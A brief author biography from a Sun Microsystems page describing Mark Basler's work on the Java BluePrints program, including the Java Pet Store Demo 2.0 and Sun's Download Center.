Mark Basler, a senior software engineer, is part of the Java BluePrints Program team. He helped create the Java Blueprints Solution Catalog and the Java Pet Store Demo 2.0, reference applications that demonstrate how to design and develop Ajax-enabled Web 2.0 applications. His other contributions include the design and development of key components for Sun's Download Center, eCommerce suites, and Sun Java System Application Server.

Rate and Review
Tell us what you think of the content of this page.
Excellent   Good   Fair   Poor  
Comments:
Your email address (no reply is possible without an address):
Sun Privacy Policy

Note: We are not able to respond to all submitted comments.